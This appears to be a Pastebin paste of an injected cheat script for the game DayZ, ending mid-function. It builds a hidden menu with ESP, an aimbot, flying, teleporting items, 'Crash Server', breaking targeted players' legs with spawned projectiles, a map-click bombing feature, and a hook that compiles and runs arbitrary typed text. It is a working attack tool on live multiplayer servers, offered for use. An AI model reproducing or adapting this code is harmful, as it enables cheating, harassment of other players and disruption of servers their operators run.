Advertisement
Guest User

dayèz

a guest
Jul 5th, 2015
203
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 70.81 KB | None | 0 0
  1. hint "Code INJECTED SUCCESSFULLY";
  2. if (isnil ("runonce")) then
  3. {
  4. runonce = true;
  5. };
  6.  
  7. if (runonce) then
  8. {
  9.  
  10. player_queued =
  11. {
  12. _id = _this select 0;
  13. myplayeruid = _id;
  14. titleText ["","BLACK FADED",0];
  15. setAperture 0;
  16. _alive = _this select 1;
  17.  
  18. if (!_alive) then
  19. {
  20. clientNew = [13,[1,0,0],_id];
  21. publicVariableServer "clientNew";
  22. }
  23. else
  24. {
  25. clientReady = _id;
  26. publicVariableServer "clientReady";
  27. };
  28.  
  29. };
  30.  
  31. runonce = false;
  32. whitelist = [];
  33. whitelist = profileNamespace getVariable ["whitelist",[]];
  34. isUnderRoof = {_swag = 1337;_swag};
  35. keybindz2 = {
  36. switch (_this) do {
  37.  
  38. case 184: {
  39. closedialog 0;
  40. createDialog "RscDisplayRemoteMissions";
  41. sleep 1;
  42. ["<t shadow='1'shadowColor='#ff0000'color='#000000'>" + "John is awesome" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit2;
  43. lbAdd [101, "ESP"];
  44. lbAdd [101, "BODY ESP"];
  45. lbAdd [101, "WRECK ESP"];
  46. lbAdd [101, "Dupe Body"];
  47. lbAdd [101, "Fly"];
  48. lbAdd [101, "Fast Walk"];
  49. lbAdd [101,"Head Shake"];
  50. lbAdd [101, "Zombie shield"];
  51. lbAdd [101, "Crash Server"];
  52. lbAdd [101, "View Gear"];
  53. lbAdd [101, "Remove Building"];
  54. lbAdd [101, "Item Filter"];
  55. lbAdd [101, "Free Cam"];
  56. lbAdd [101, "No Recoil"];
  57. lbAdd [101, "No Grass"];
  58. lbAdd [101, "Attachto [T]"];
  59. lbAdd [101, "Spectate [T]"];
  60. lbAdd [101, "Shoot em [T]"];
  61. lbAdd [101, "Break Leg [T]"];
  62. lbAdd [101, "Knock em out [T]"];
  63. lbAdd [101, "Remove Weapon[T]"];
  64. lbClear 104;
  65. lbadd [104, "All Players"];
  66. ctrlShow [1013, false];
  67. ctrlShow [1015, false];
  68. ctrlShow [134, false];
  69. ctrlShow [1002, false];
  70. ctrlShow [132, false];
  71. ctrlShow [109, false];
  72. ctrlShow [1004, false];
  73. ctrlShow [1006, false];
  74. ctrlShow [131, false];
  75. ctrlShow [1085, false];
  76. ctrlShow [1086, false];
  77. ctrlShow [1011, false];
  78. ctrlShow [123, false];
  79. ctrlShow [1, false];
  80. ctrlShow [2, false];
  81. ctrlShow [1082, false];
  82. ctrlShow [130, false];
  83. ctrlSetText [1010, " Scripts"];
  84. ctrlSetText [1008, " Players"];
  85. ctrlSetText [1012, " Items:"];
  86. ctrlSetText [1000, "MENN johnMen"];
  87. _display = (findDisplay 17);
  88. _control = _display displayCtrl 101;
  89. _control ctrlSetPosition [safezoneX + 0.21 * safezoneW, safezoneY + 0.12 * safezoneH, safezoneW * 0.275, safezoneH * 0.79];
  90. _control ctrlSetEventHandler ["LBDblClick", "[lbtext [101, (lbCurSel 101)]] spawn johnscrpt_ran;"];
  91. _control ctrlCommit 0;
  92.  
  93. [] spawn
  94. {
  95. _display = (findDisplay 17);
  96. _control = _display displayCtrl 103;
  97. _control ctrlSetPosition [safezoneX + 0.02 * safezoneW, safezoneY + 0.925 * safezoneH, safezoneW * 0.05, safezoneH * 0.05];
  98. _control ctrlsettext "Add";
  99. buttonSetAction [103,'[lbtext [104, (lbCurSel 104)]] spawn johnscrpt_addtowhitelist;'];
  100. _control ctrlCommit 0;
  101. };
  102.  
  103. [] spawn
  104. {
  105. _display = (findDisplay 17);
  106. _control = _display displayCtrl 102;
  107. _control ctrlSetEventHandler ["LBDblClick", "[lbtext [102, (lbCurSel 102)]] spawn johnscrpt_teleport;"];
  108. _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
  109. {
  110. if ((_x != player) && !(_x isKindOf "Man")) then
  111. {
  112. _typeof = toArray typeof _x;
  113. _typeof resize 5;
  114. _typeof;
  115. _typeof = toString _typeof;
  116. if ((_typeof != "land_") && (_typeof != "#crat") && (_typeof != "") && (_typeof != "#part")) then
  117. {
  118. _index = _control lbAdd format ["%1",typeOf _x ];
  119. };
  120. };
  121. } forEach _entities;
  122. lbsort _control;
  123. };
  124.  
  125. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  126. {
  127. if ((name _x != "unknown entity") && (alive _x)) then
  128. {
  129. _display = (findDisplay 17);
  130. _control = _display displayCtrl 104;
  131. _control ctrlSetPosition [safezoneX + 0.025 * safezoneW, safezoneY + 0.12 * safezoneH, safezoneW * 0.18, safezoneH * 0.79];
  132. _control ctrlSetEventHandler ["LBDblClick", "[lbtext [104, (lbCurSel 104)]] spawn johnscrpt_target;"];
  133. _control ctrlCommit 0;
  134. _index = _control lbAdd (name _x);
  135. _control lbSetPicture [_index, "\DZ\ui\data\map\vehicleicons\iconMan_ca.paa"];
  136. _hand = primaryWeapon _x;
  137. _wName = getText(configFile >> "cfgWeapons" >> _hand >> "displayName");
  138. if (_wName != "") then
  139. {
  140. _control lbSetPicture [_index, "\DZ\ui\data\igui\cfg\islandmap\iconplayer_ca.paa"];
  141. };
  142. if (name _x == targetname ) then
  143. {
  144. _control lbSetPicture [_index, "\DZ\ui\data\igui\cfg\PeripheralVision\bloodTexture_ca.paa"];
  145. };
  146. _found = [getplayeruid _x,str whitelist] call InString;
  147. if (_found) then
  148. {
  149. _control lbSetPicture [_index, "\DZ\ui\data\map\vehicleicons\iconTank_ca.paa"];
  150. };
  151. };
  152. } forEach _entities;
  153.  
  154. [] spawn {
  155. waitUntil {(58 in (toArray (ctrlText ((findDisplay 24) displayCtrl 101))))};
  156. _text = ctrlText ((findDisplay 24) displayCtrl 101);[] spawn compile _text;((findDisplay 24) displayCtrl 101) ctrlSetText '';(findDisplay 24) closeDisplay 0;
  157. };
  158.  
  159. };
  160. };
  161. };
  162.  
  163. nuke = false;
  164. [] spawn
  165. {
  166. while {!(isNull (findDisplay 12))} do
  167. {
  168. sleep 5;
  169. playerarray = [];
  170.  
  171. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  172. {
  173. if ((alive _x) && (_x != player)) then
  174. {
  175. playerarray = playerarray + [_x];
  176. };
  177. }foreach _entities;
  178.  
  179. };
  180.  
  181. };
  182.  
  183. johnscrpt_nukezz =
  184. {
  185. nuke = !nuke;taskhint ["nuke = " + str nuke, [1, 0, 0, 1], "taskCurrent"];
  186. };
  187. johnscrpt_russia =
  188. {
  189. _array = _this select 0;
  190.  
  191. _penis = _array select 1;
  192. _penis2 = _array select 2;
  193.  
  194. _display = (findDisplay 12);
  195. _control = _display displayCtrl 51;
  196.  
  197. _WorldCoord = _control ctrlMapScreenToWorld [_penis,_penis2];
  198.  
  199. if (nuke) then
  200. {
  201.  
  202. _bullet = "laserbombcore" createvehiclelocal [_WorldCoord select 0, _WorldCoord select 1, 5];
  203. _bullet setVelocity [0, 0, -50000];
  204.  
  205. systemchat str [_WorldCoord select 0, _WorldCoord select 1, 5];
  206.  
  207. };
  208.  
  209. };
  210.  
  211. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x4C) then
  212. {
  213. createdialog "RscDisplayMainMap";
  214. waitUntil {!(isNull (findDisplay 12))};
  215. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  216. (_this select 0) drawLine [
  217. getPos player,
  218. playerarray select 0 modeltoworld [0,0,1.20],
  219. [0,0,1,1]
  220. ];
  221. "];
  222. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  223. (_this select 0) drawLine [
  224. getPos player,
  225. playerarray select 1 modeltoworld [0,0,1.20],
  226. [0,0,1,1]
  227. ];
  228. "];
  229. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  230. (_this select 0) drawLine [
  231. getPos player,
  232. playerarray select 2 modeltoworld [0,0,1.20],
  233. [0,0,1,1]
  234. ];
  235. "];
  236. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  237. (_this select 0) drawLine [
  238. getPos player,
  239. playerarray select 3 modeltoworld [0,0,1.20],
  240. [0,0,1,1]
  241. ];
  242. "];
  243. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  244. (_this select 0) drawLine [
  245. getPos player,
  246. playerarray select 4 modeltoworld [0,0,1.20],
  247. [0,0,1,1]
  248. ];
  249. "];
  250. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  251. (_this select 0) drawLine [
  252. getPos player,
  253. playerarray select 5 modeltoworld [0,0,1.20],
  254. [0,0,1,1]
  255. ];
  256. "];
  257. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  258. (_this select 0) drawLine [
  259. getPos player,
  260. playerarray select 6 modeltoworld [0,0,1.20],
  261. [0,0,1,1]
  262. ];
  263. "];
  264. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  265. (_this select 0) drawLine [
  266. getPos player,
  267. playerarray select 7 modeltoworld [0,0,1.20],
  268. [0,0,1,1]
  269. ];
  270. "];
  271. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  272. (_this select 0) drawLine [
  273. getPos player,
  274. playerarray select 8 modeltoworld [0,0,1.20],
  275. [0,0,1,1]
  276. ];
  277. "];
  278. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  279. (_this select 0) drawLine [
  280. getPos player,
  281. playerarray select 9 modeltoworld [0,0,1.20],
  282. [0,0,1,1]
  283. ];
  284. "];
  285. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  286. (_this select 0) drawLine [
  287. getPos player,
  288. playerarray select 10 modeltoworld [0,0,1.20],
  289. [0,0,1,1]
  290. ];
  291. "];
  292. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  293. (_this select 0) drawLine [
  294. getPos player,
  295. playerarray select 11 modeltoworld [0,0,1.20],
  296. [0,0,1,1]
  297. ];
  298. "];
  299. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  300. (_this select 0) drawLine [
  301. getPos player,
  302. playerarray select 12 modeltoworld [0,0,1.20],
  303. [0,0,1,1]
  304. ];
  305. "];
  306. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  307. (_this select 0) drawLine [
  308. getPos player,
  309. playerarray select 13 modeltoworld [0,0,1.20],
  310. [0,0,1,1]
  311. ];
  312. "];
  313. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  314. (_this select 0) drawLine [
  315. getPos player,
  316. playerarray select 14 modeltoworld [0,0,1.20],
  317. [0,0,1,1]
  318. ];
  319. "];
  320. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  321. (_this select 0) drawLine [
  322. getPos player,
  323. playerarray select 15 modeltoworld [0,0,1.20],
  324. [0,0,1,1]
  325. ];
  326. "];
  327. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  328. (_this select 0) drawLine [
  329. getPos player,
  330. playerarray select 16 modeltoworld [0,0,1.20],
  331. [0,0,1,1]
  332. ];
  333. "];
  334. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  335. (_this select 0) drawLine [
  336. getPos player,
  337. playerarray select 0 modeltoworld [0,0,1.20],
  338. [0,0,1,1]
  339. ];
  340. "];
  341. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  342. (_this select 0) drawLine [
  343. getPos player,
  344. playerarray select 17 modeltoworld [0,0,1.20],
  345. [0,0,1,1]
  346. ];
  347. "];
  348. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  349. (_this select 0) drawLine [
  350. getPos player,
  351. playerarray select 18 modeltoworld [0,0,1.20],
  352. [0,0,1,1]
  353. ];
  354. "];
  355. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  356. (_this select 0) drawLine [
  357. getPos player,
  358. playerarray select 19 modeltoworld [0,0,1.20],
  359. [0,0,1,1]
  360. ];
  361. "];
  362. (findDisplay 12 displayCtrl 51) ctrlAddEventHandler ["Draw","
  363. (_this select 0) drawLine [
  364. getPos player,
  365. playerarray select 20 modeltoworld [0,0,1.20],
  366. [0,0,1,1]
  367. ];
  368. "];
  369.  
  370. for "_i" from 100 to 5000 do {
  371. ctrlShow [_i, false];
  372. };
  373. _display = (findDisplay 12);
  374. _control = _display displayCtrl 51;
  375. _control ctrlSetEventHandler ["mousemoving","[_this] spawn johnscrpt_russia;"];
  376. _control ctrlSetEventHandler ["mousebuttondblclick","[] spawn johnscrpt_nukezz;"];
  377.  
  378. }'];
  379.  
  380. waituntil {!isnull (finddisplay 46)};
  381. (findDisplay 46) displayAddEventHandler ["KeyDown","_this select 1 call keybindz2;false;"];
  382.  
  383. keybindz = {
  384. switch (_this) do {
  385.  
  386. case 42: {
  387. if (johnscrpt_fastwalk == 1) then
  388. {
  389. johnscrpt_pos = [(getPos player select 0)+5*sin(getdir player),(getPos player select 1)+5*cos(getdir player)];
  390. player setpos johnscrpt_pos;
  391. };
  392. };
  393. };
  394. };
  395.  
  396. waituntil {!isnull (finddisplay 46)};
  397. (findDisplay 46) displayAddEventHandler ["KeyDown","_this select 1 call keybindz;false;"];
  398.  
  399. InString =
  400. {
  401. private ["_needle","_haystack","_needleLen","_hay","_found"];
  402. _needle = [_this, 0, "", [""]] call BIS_fnc_param;
  403. _haystack = toArray ([_this, 1, "", [""]] call BIS_fnc_param);
  404. _needleLen = count toArray _needle;
  405. _hay = +_haystack;
  406. _hay resize _needleLen;
  407. _found = false;
  408. for "_i" from _needleLen to count _haystack do
  409. {
  410. if (toString _hay == _needle) exitWith {_found = true};
  411. _hay set [_needleLen, _haystack select _i];
  412. _hay set [0, "x"];
  413. _hay = _hay - ["x"]
  414. };
  415. _found
  416. };
  417.  
  418. fonzy_fnc_selectrandom = {
  419. if (count _this > 0) then {
  420. _this select (floor random (count _this));
  421. } else {
  422. ["Array has no elements."] call bis_fnc_error;
  423. nil
  424. };
  425. };
  426.  
  427. johnscrpt_swag =
  428. {
  429. if !(drawing_text) then
  430. {
  431. _control = (uinamespace getvariable "BIS_RscMissionScreen") displayctrl 1300;
  432. _len = count (toArray (ctrltext _control));
  433. _ammount = _len - 1;
  434. _ns = toArray (ctrltext _control);
  435. _ns resize _ammount;
  436. _ns;
  437. _ns = toString _ns;
  438. _control ctrlsetstructuredtext parsetext format ["<t shadow='1'shadowColor='#ff0000'color='#000000'>%1</t>",_ns];
  439. playsound "counter";
  440. };
  441. };
  442.  
  443. johnscrpt_drawit2 = {
  444. disableserialization;
  445. (_this select 4) cutrsc ["RscMissionScreen","plain down"];
  446. _control = (uinamespace getvariable "BIS_RscMissionScreen") displayctrl 1300;
  447. _control ctrlsetstructuredtext parsetext (_this select 0);
  448. sleep 0.15;
  449. call johnscrpt_swag;
  450. sleep 0.15;
  451. call johnscrpt_swag;
  452. sleep 0.15;
  453. call johnscrpt_swag;
  454. sleep 0.15;
  455. call johnscrpt_swag;
  456. sleep 0.15;
  457. call johnscrpt_swag;
  458. sleep 0.15;
  459. call johnscrpt_swag;
  460. sleep 0.15;
  461. call johnscrpt_swag;
  462. sleep 0.15;
  463. call johnscrpt_swag;
  464. sleep 0.15;
  465. call johnscrpt_swag;
  466. sleep 0.15;
  467. call johnscrpt_swag;
  468. sleep 0.15;
  469. call johnscrpt_swag;
  470. sleep 0.15;
  471. call johnscrpt_swag;
  472. sleep 0.15;
  473. call johnscrpt_swag;
  474. sleep 0.15;
  475. call johnscrpt_swag;
  476. sleep 0.15;
  477. call johnscrpt_swag;
  478. sleep 0.15;
  479. call johnscrpt_swag;
  480. sleep 0.15;
  481. call johnscrpt_swag;
  482. sleep 0.15;
  483. call johnscrpt_swag;
  484. sleep 0.15;
  485. call johnscrpt_swag;
  486. sleep 0.15;
  487. call johnscrpt_swag;
  488. sleep 0.15;
  489. call johnscrpt_swag;
  490. sleep 0.15;
  491. call johnscrpt_swag;
  492. sleep 0.15;
  493. call johnscrpt_swag;
  494. sleep 0.15;
  495. call johnscrpt_swag;
  496. sleep 0.15;
  497. call johnscrpt_swag;
  498. sleep 0.15;
  499. call johnscrpt_swag;
  500. sleep 0.15;
  501. call johnscrpt_swag;
  502. sleep 0.15;
  503. call johnscrpt_swag;
  504. sleep 2;
  505. _control ctrlSetText "";
  506. };
  507.  
  508. inanglesector =
  509. {
  510. private["_dir1","_dir2","_dir3","_small","_large","_x","_y","_r"];
  511.  
  512. _r = false;
  513.  
  514. _small = (_this select 1) - ((_this select 2) / 2);
  515. _large = (_this select 1) + ((_this select 2) / 2);
  516.  
  517. _x = ((_this select 3) select 0) - ((_this select 0) select 0);
  518. _y = ((_this select 3) select 1) - ((_this select 0) select 1);
  519.  
  520. _dir1 = _x atan2 _y;
  521.  
  522. if (_dir1 < 0) then {_dir1 = _dir1 + 360};
  523.  
  524. _dir2 = _dir1 - 360;
  525. _dir3 = _dir1 + 360;
  526.  
  527. if ((_dir1 >= _small && _dir1 <= _large) || (_dir2 >= _small && _dir2 <= _large) || (_dir3 >= _small && _dir3 <= _large)) then {_r = true};
  528.  
  529. _r
  530. };
  531.  
  532. johnscrpt_cansee =
  533. {
  534. _unit1 = _this select 0;
  535. _unit2 = _this select 1;
  536.  
  537. johnscrpt_eyeDir = {
  538. _eval = (eyeDirection _this);
  539. _edir = (_eval select 0) atan2 (_eval select 1);
  540. if (_edir < 0) then {_edir = 360 + _edir};
  541. _edir
  542. };
  543.  
  544. _canSee = false;
  545. _inView = [position _unit1, _unit1 call johnscrpt_eyeDir, 120, position _unit2] call inAngleSector;
  546. if (_inView) then
  547. {
  548. if (! terrainIntersectASL [eyePos _unit1, eyePos _unit2]) then
  549. {
  550. if (count (lineIntersectsWith [eyePos _unit1, eyePos _unit2, _unit1, _unit2]) == 0) then
  551. {
  552. _canSee = true;
  553. };
  554. };
  555. };
  556. _canSee
  557. };
  558. johnscrpt_aimbot =
  559. {
  560. _pos1 = _this select 0;
  561. _pos2 = _this select 1;
  562.  
  563. if(typename _pos1 == "OBJECT") then {_pos1 = _pos1 modeltoworld [0,0,0]};
  564. if(typename _pos2 == "OBJECT") then {_pos2 = _pos2 modeltoworld [0,0,0]};
  565.  
  566. _ret = ((_pos2 select 0) - (_pos1 select 0)) atan2 ((_pos2 select 1) - (_pos1 select 1));
  567. _ret = _ret % 360;
  568. _ret
  569. };
  570.  
  571. johnscrpt_addtowhitelist =
  572. {
  573. _name = _this select 0;
  574. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  575. {
  576. if (name _x == _name) then
  577. {
  578. whitelist = whitelist + [getplayeruid _x];
  579. systemchat format ["Adding %1 to the whitelist",_name];
  580. profileNamespace setVariable ["whitelist",whitelist];saveProfileNamespace;
  581. };
  582. } forEach _entities;
  583. };
  584.  
  585. johnscrpt_drawit = {
  586. disableserialization;
  587. drawing_text = true;
  588. (_this select 4) cutrsc ["RscMissionScreen","plain down"];
  589. _control = (uinamespace getvariable "BIS_RscMissionScreen") displayctrl 1300;
  590. _control ctrlsetstructuredtext parsetext (_this select 0);
  591. sleep 5;
  592. drawing_text = false;
  593. _control ctrlSetText "";
  594. };
  595.  
  596. johnscrpt_teleport =
  597. {
  598. _itemname = _this select 0;
  599. itemname = _itemname;
  600.  
  601. _itemname2 = "Teleporting " + itemname;
  602. ["<t size='1.3' color='#00E0FD'>" + _itemname2 + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  603.  
  604. _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
  605. {
  606. if ((_x != player) && !(_x isKindOf "Man") && (typeOf _x == itemname)) then
  607. {
  608. _pos = player modelToWorld [round ((random 1)),round ((random 1)),0];
  609. _x setpos _pos;
  610. };
  611. } forEach _entities;
  612.  
  613. };
  614.  
  615. johnscrpt_filteritems = {
  616. closedialog 0;
  617. sleep 1;
  618. lbclear 102;
  619. _itemname = _this select 0;
  620. _display = (findDisplay 17);
  621. _control = _display displayCtrl 102;
  622. _control ctrlSetEventHandler ["LBDblClick", "[lbtext [102, (lbCurSel 102)]] spawn johnscrpt_teleport;"];
  623. _entities = (positionCameraToWorld [0,0,0]) nearObjects 1000;
  624. {
  625. if ((_x != player) && !(_x isKindOf "Man")) then
  626. {
  627. _found = [_itemname,typeof _x] call InString;
  628. if (_found) then
  629. {
  630. _typeof = toArray typeof _x;
  631. _typeof resize 5;
  632. _typeof;
  633. _typeof = toString _typeof;
  634. if ((_typeof != "land_") && (_typeof != "#crat") && (_typeof != "") && (_typeof != "#part")) then
  635. {
  636. _index = _control lbAdd format ["%1",typeOf _x ];
  637. };
  638. };
  639. };
  640. } forEach _entities;
  641.  
  642. };
  643.  
  644.  
  645. johnscrpt_target =
  646. {
  647. _target = _this select 0;
  648. targetname = _target;
  649. _target2 = "Target = " + _target;
  650. ["<t size='1.3' color='#00E0FD'>" + _target2 + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  651. };
  652.  
  653. johnscrpt_ran =
  654. {
  655. _scriptname = _this select 0;
  656. _scriptname2 = "Ran " + _scriptname;
  657. systemchat _scriptname2;
  658.  
  659. if (_scriptname == "Bullet Velocity") then
  660. {
  661. if (isnil ("Bullet")) then
  662. {
  663. Bullet = false;
  664. };
  665.  
  666. if (Bullet) then
  667. {
  668. ["<t size='1.3' color='#00E0FD'>" + "Bullet Velocity Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  669. Bullet = false;
  670. player removeAllEventHandlers "Fired";
  671. }else{
  672. ["<t size='1.3' color='#00E0FD'>" + "Bullet Velocity On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  673. Bullet = true;
  674. player addEventHandler ["fired",{ (_this select 6) setpos targetpos;}];
  675. };
  676.  
  677. };
  678.  
  679. if (_scriptname == "Break Leg [T]") then
  680. {
  681.  
  682. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  683. {
  684.  
  685. if (name _x == targetname) then
  686. {
  687. _anim = animationState _x;
  688. _bodyPosition = getText(configFile >> "CfgMovesMaleSdr2" >> "states" >> _anim >> "bodyPosition");
  689. if (_bodyposition == "prone") then
  690. {
  691. systemchat "prone";
  692. pos = _x modeltoworld [-.10,-0.3,.65];
  693. };
  694. if (_bodyposition == "kneel") then
  695. {
  696. systemchat "kneel";
  697. pos = _x modeltoworld [-.10,.05,.65];
  698. };
  699. if (_bodyposition == "stand") then
  700. {
  701. systemchat "stand";
  702. pos = _x modeltoworld [-.10,.10,.65];
  703. };
  704. _bullet = "a_composite" createvehiclelocal pos;
  705. _bullet setVelocity [0, 0, -50000];
  706. };
  707.  
  708. }foreach _entities;
  709.  
  710. };
  711.  
  712. if (_scriptname == "Item Filter") then
  713. {
  714. createdialog "RscDisplayNote";
  715. ctrlSetText [1300, "Item Filter"];
  716. buttonSetAction [1600, "[ctrlText ((findDisplay 120) displayCtrl 1400)] spawn johnscrpt_filteritems;"];
  717. };
  718.  
  719. if (_scriptname == "Fly") then
  720. {
  721.  
  722. if (isnil ("fly_toggle")) then
  723. {
  724. fly_toggle = false;
  725. };
  726.  
  727. if (fly_toggle) then
  728. {
  729. ["<t size='1.3' color='#00E0FD'>" + "Fly Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  730. fly_toggle = false;
  731. }else{
  732. ["<t size='1.3' color='#00E0FD'>" + "Fly On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  733. fly_toggle = true;
  734. };
  735.  
  736. if(fly_toggle) then {
  737. _pos = getposatl player;
  738. fly_dir = getdir player;
  739. fly_x = _pos select 0;
  740. fly_y = _pos select 1;
  741. fly_z = _pos select 2;
  742. fly_distance = 8;
  743. fly_wait = 0.001;
  744. [] spawn {
  745. _wait = false;
  746. while{fly_toggle} do {
  747. playeraction "startSwim";
  748. if(_wait) then {uiSleep fly_wait;_wait = false;};
  749. if(inputAction "moveForward" > 0) then {
  750. fly_x = fly_x+fly_distance*sin(fly_dir);
  751. fly_y = fly_y+fly_distance*cos(fly_dir);
  752. _wait = true;
  753. };
  754. if(inputAction "moveBack" > 0) then {
  755. _distance = fly_distance * -1;
  756. fly_x = fly_x+_distance*sin(fly_dir);
  757. fly_y = fly_y+_distance*cos(fly_dir);
  758. _wait = true;
  759. };
  760. if(inputAction "evasiveLeft" > 0) then {
  761. fly_dir = fly_dir - 5;
  762. _wait = true;
  763. };
  764. if(inputAction "evasiveRight" > 0) then {
  765. fly_dir = fly_dir + 5;
  766. _wait = true;
  767. };
  768. if(inputAction "prevAction" > 0) then {
  769. fly_z = fly_z + fly_distance;
  770. _wait = true;
  771. };
  772. if(inputAction "nextAction" > 0) then {
  773. fly_z = (fly_z - fly_distance) max 0;
  774. _wait = true;
  775. };
  776. };
  777. };
  778.  
  779. while{fly_toggle} do {
  780. player setPosATL [fly_x,fly_y,fly_z];
  781. player setDIR fly_dir;
  782. player setVelocity [0,0,0.1];
  783. };
  784. };
  785.  
  786.  
  787. };
  788.  
  789. if (_scriptname == "Aimbot") then
  790. {
  791.  
  792.  
  793. if (isnil ("johnscrpt_aimboton")) then
  794. {
  795. johnscrpt_aimboton = false;
  796. };
  797.  
  798. if (johnscrpt_aimboton) then
  799. {
  800. ["<t size='1.3' color='#00E0FD'>" + "Aimbot Off" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  801. johnscrpt_aimboton = false;
  802. }else{
  803. ["<t size='1.3' color='#00E0FD'>" + "Aimbot On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  804. johnscrpt_aimboton = true;
  805. };
  806.  
  807. if (isnil ("johnscrpt_aimbotnorun")) then
  808. {
  809. johnscrpt_aimbotnorun = "swag";
  810.  
  811. (findDisplay 46) displayAddEventHandler ['KeyDown', 'if ((_this select 1) == 0x0F) then
  812. {
  813.  
  814. _johnscrpt_targetlist = (positionCameraToWorld [0,0,0]) nearEntities ["SurvivorBase",200];
  815. _johnscrpt_target = _johnscrpt_targetlist select 1;
  816.  
  817. if ((isplayer _johnscrpt_target) && (alive _johnscrpt_target) && (johnscrpt_aimboton)) then
  818. {
  819.  
  820. _canzee = [player, _johnscrpt_target] call johnscrpt_cansee;
  821.  
  822. if (_canzee) then
  823. {
  824. hint "can see";
  825. _johnscrpt_aimpro = [player, _johnscrpt_target] call johnscrpt_aimbot;
  826. player setDir _johnscrpt_aimpro;
  827.  
  828. }else{
  829. hint "cant see";
  830. };
  831.  
  832. };
  833.  
  834. }'];
  835.  
  836. };
  837.  
  838. };
  839.  
  840. if (_scriptname == "Zombie shield") then
  841. {
  842.  
  843. if (isNil "standaloneisgayZombies") then {standaloneisgayZombies = 0;};
  844.  
  845. if (standaloneisgayZombies == 0) then {
  846. ["<t size='1.3' color='#00E0FD'>" + "Zombie shield On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  847. standaloneisgayZombies = 1;
  848. } else {
  849. ["<t size='1.3' color='#00E0FD'>" + "Zombie shield OFF" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  850. standaloneisgayZombies = 0;
  851. };
  852.  
  853. while {standaloneisgayZombies == 1} do {
  854. _pos = getPos player;
  855. _standaloneisgayNear = _pos nearEntities ["ZombieBase",400];
  856. _standaloneisgayCount = count _standaloneisgayNear;
  857.  
  858. for "_i" from 0 to (_standaloneisgayCount - 1) do
  859. {
  860. _standaloneisgayZombie = _standaloneisgayNear select _i;
  861. _pos = _standaloneisgayZombie modeltoworld [0,0,1.20];
  862. _bullet = "B_762x51_Ball" createvehiclelocal _pos;
  863. _bullet setVelocity [0, 0, -50000];
  864. _bullet2 = "B_762x51_Ball" createvehiclelocal _pos;
  865. _bullet2 setVelocity [0, 0, -50000];
  866. _bullet3 = "B_762x51_Ball" createvehiclelocal _pos;
  867. _bullet3 setVelocity [0, 0, -50000];
  868. _bullet4 = "B_762x51_Ball" createvehiclelocal _pos;
  869. _bullet4 setVelocity [0, 0, -50000];
  870. _bullet5 = "B_762x51_Ball" createvehiclelocal _pos;
  871. _bullet5 setVelocity [0, 0, -50000];
  872. _bullet6 = "B_762x51_Ball" createvehiclelocal _pos;
  873. _bullet6 setVelocity [0, 0, -50000];
  874. _bullet7 = "B_762x51_Ball" createvehiclelocal _pos;
  875. _bullet7 setVelocity [0, 0, -50000];
  876. };
  877. sleep 4;
  878. };
  879.  
  880. };
  881.  
  882. if (_scriptname == "Free Cam") then
  883. {
  884. cameraOn exec (getText (configFile >> "cameraScriptFree"));
  885. };
  886.  
  887. if (_scriptname == "Map") then
  888. {
  889. createdialog "RscDisplayArcadeMap";
  890. };
  891.  
  892.  
  893. if (_scriptname == "TP Body's") then
  894. {
  895. _entities = (positionCameraToWorld [0,0,0] nearObjects ["SurvivorBase",1000]);
  896. {
  897. if ((name _x == "unknown entity") && !(alive _x)) then
  898. {
  899. _pos = player modelToWorld [round ((random 5)),round ((random 5)),0];
  900. _x setpos _pos;
  901. };
  902. } forEach _entities;
  903. };
  904.  
  905. if (_scriptname == "Remove Building") then
  906. {
  907. if (isnil ("johnscrpt_showbuild")) then
  908. {
  909. johnscrpt_showbuild = 0;
  910. };
  911.  
  912. if (johnscrpt_showbuild == 0) then
  913. {
  914. ["<t size='1.3' color='#00E0FD'>" + "Remove Building On" + "</t>",0,0,0,0,5] spawn johnscrpt_drawit;
  915. johnscrpt_showbuild = 1;
  916. }
  917. else
  918. {
